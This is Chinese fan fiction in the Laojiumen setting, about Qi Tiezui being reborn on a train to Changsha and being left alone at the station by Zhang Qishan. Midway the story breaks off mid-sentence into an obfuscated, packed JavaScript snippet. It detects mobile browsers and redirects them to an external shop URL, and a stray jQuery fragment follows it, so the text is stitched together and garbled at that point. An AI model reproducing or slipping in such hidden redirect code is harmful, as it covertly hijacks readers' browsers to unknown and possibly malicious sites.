齐铁嘴睁开眼时，耳边全是哐当哐当的声响。
他想，死了怎么还这么吵？阴间也通火车么？
火车。他猛地坐起身，指节攥紧了身下的布垫。软座，绿皮，老式车厢，对面坐着打瞌睡的半截李，窗边是翻报纸的二月红。斜前方霍仙姑正在给谢九爷递茶，陈皮阿四蹲在过道里擦他那把从不离身的匕首，黑背老六蜷在角落里闭目养神。狗五爷被人搀着靠在最后一排，脸色虽白，到底喘着气。
他低头看自己的手——白皙，修长，指尖圆润，没有墓底那些刮蹭的旧伤疤。手腕内侧一颗小痣，清清楚楚，是他二十二岁那年的模样。
齐铁嘴慢慢吸了一口气，又慢慢吐出去。他把手背贴在额头上，掌心冰凉。
重生了。
他死了，又活了，回到这时候。张启山从新月饭店救回了狗五爷，他们一行人连夜赶火车回长沙，车厢里是熟悉的、热闹的、属于九门的光景。都还活着，都还在。
他忽然想笑。
视线却不由自主地往前飘——前面那排座位，张启山背对着他坐得笔挺，军装外套脱了搭在膝上，露出里面雪白的衬衫。尹新月正侧着身子跟他说话，长发散在肩头，偶尔偏过头笑一下，耳垂上那颗米粒大的珍珠跟着晃。张启山垂着眼听，偶尔"嗯"一声，手搭在她椅背上，姿态是从未有过的松弛。
齐铁嘴把目光收回来，落在自己膝盖上。
二十二岁。他今年二十二岁，算起来已经在佛爷府上住了快两年。这两年里他亲眼看着张启山把尹新月娶进门，看着三个孩子先后落地，看着张小鱼娶了药铺掌柜的闺女，张日山跟了戏班子的花旦，张小烬的媳妇是北边逃难来的读书人家女儿。每个人都热热闹闹地过日子，只有他一个人守着那点见不得光的心事，从二十二岁守到三十七岁，守到头发里生出白丝，守到下墓时一脚踩进机关里。
临死前的那口气，他记得很清楚，是松下来的。
"八爷，怎么不吃饭？"
张小鱼端着一碗面过来，面上卧着个荷包蛋，汤色清亮，还冒着热气。他到底是细心的人，虽是副官，伺候张启山之余也总记挂着齐铁嘴这个"寄人篱下"的主儿。
齐铁嘴接过来，筷子在碗沿上搁了搁，又放下。"不饿。"
"从昨儿晚上到现在都没吃东西，在墓里又折腾了那么久——"
"说了不饿。"
语气比他预想的冲了些。齐铁嘴抿了抿嘴，抬脸冲张小鱼笑了一下："真不饿，你吃吧。"
张小鱼看了他一会儿，把那碗面端走了。齐铁嘴又靠回椅背上，窗外的景物开始变得熟悉，丘陵矮下去，房子密起来，铁轨两旁出现了大片大片的稻田和零星的青瓦屋顶。快到长沙了。
半截李醒了，打了个哈欠伸手拍他："八爷，想什么呢？"
"想——"齐铁嘴顿了顿，"想回去怎么跟佛爷交代那几件明器的事儿。"
半截李摆摆手："交代什么，佛爷有新月小姐陪着，哪顾得上这些。"他压低了声音，"你是没瞧见，从新月饭店出来，佛爷那眼神就没从小姐身上挪开过。咱们几个在墓里摸爬滚打，人家在楼上喝茶听曲，啧啧。"
齐铁嘴没接话，只是笑。
火车进站的时候，天已经擦黑了。长沙站的老站台点着几盏昏黄的灯，蒸汽喷涌上来，把月台笼在一片白茫茫的雾气里。九门的人陆陆续续下车，二月红和霍仙姑招呼着把狗五爷架下去，黑背老六拎着行李大步走在前头，陈皮阿四把匕首收进靴筒里，最后一个跳下车厢。
齐铁嘴站在车厢门口，夜风扑在脸上，带着铁轨和煤灰的气味。他深深吸了一口，活着的气味。
张启山牵着尹新月走在最前面，张小鱼跟在后头拎着两个皮箱。走到站台出口的时候，张启山忽然停住脚步，回过头来。
他看的是齐铁嘴的方向。目光穿过几个人影，落在齐铁嘴脸上。
齐铁嘴的心猛地跳了一下。
"老八。"张启山的声音不高不低，带着点疲惫，"那几件明器你清点好，明天送到我书房来。"
说完就转回身去，牵了尹新月继续往前走。脚步没有停，甚至没有等齐铁嘴回答的意思。张小烬从后面赶上来，冲齐铁嘴摆了个"放心"的手势，快步追上了张启山。
齐铁嘴站在原地，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846591|211740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看着那一行人越走越远。张启山的军靴踩在石板地上，步子又稳又快。尹新月的旗袍下摆轻轻摆着，高跟鞋发出细碎的声响。张小鱼跟在右侧，张小烬在左侧，三个人把那一对护在中间，走得头也不回。
"八爷，走啊。"
谢九爷家的车已经到了，司机拉开后门等着。谢九爷自己站在车门边上，朝齐铁嘴招手："上车吧，我送你回去。"
齐铁嘴摇头笑了笑："不用，佛爷的车在后头等着呢，我跟他们一道走。"
谢九爷看了他一眼："我刚才瞧见佛爷那车已经开走了。"
"那是去前面调头。"齐铁嘴说得很笃定，"我就在这儿等。"
谢九爷没再劝，上了车。霍仙姑的车也到了，二月红把狗五爷扶进自己那辆，黑背老六跨上他那辆自行车叮铃铃地骑远了。半截李和陈皮阿四勾肩搭背地往巷子里走，说是要去喝一碗热馄饨。
站台上的人越来越少。灯一盏一盏地熄了，只剩出口那盏还亮着。齐铁嘴靠着站台的柱子，把围巾往上拢了拢。
夜风凉了。他把手揣进袖子里，看着空荡荡的铁轨。火车已经开走了，剩下两条平行的轨道伸向远方，消失在夜色里。
他知道张启山的车不会回来接了。刚才那句话，那个回头，是提醒，也是结束——你该回你自己那儿去了。只是张启山大概忘了，齐铁嘴的铺子早在半年前就盘出去了，为的是凑钱帮张启山填那批军火的窟窿。他连后院那棵桂花树都一并卖了。
所以他现在哪儿也回不去。
齐铁嘴靠着柱子慢慢滑下来，坐在了冰冷的站台地面上。二十二岁的身体年轻，关节还不疼，可心里头那块地方，跟三十七岁时一样，空落落的。
他仰起头，看着站台顶上那盏昏黄的灯。一群飞蛾绕着灯罩打转，扑扑簌簌的，像他那些年打转的心思。
"也好。"他轻轻说了一句。
没人听见。风把他的声音卷走了，和着远处的火车汽笛声，一起散进了长沙的夜里。
齐铁嘴闭上眼。
这一回，他不会再寄人篱下了。
这一回，他想为自己活一活。